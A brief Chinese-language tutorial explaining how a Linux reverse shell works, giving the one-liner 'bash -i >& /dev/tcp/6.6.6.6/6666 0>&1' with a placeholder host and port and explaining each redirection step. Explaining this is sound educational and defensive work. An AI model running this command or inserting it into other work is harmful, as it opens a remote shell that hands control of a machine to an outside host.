快速看懂linux反弹shell原理

反弹shell命令：

bash -i >& /dev/tcp/6.6.6.6/6666 0>&1

其中6.6.6.6是ip地址，6666是端口

这句代码的意思是：

-i: i就是interactive，bash -i就是创建一个交互式的shell

bash -i >& /dev/tcp/6.6.6.6/6666 将文件描述符的1,2（标准输出和标准错误）重定向到tcp连接的一台主机上。

0>&1 ： 再把标注输入0 重定向到标准输出1，也就是tcp连接的那台主机（因为1  之前就被重定向了）。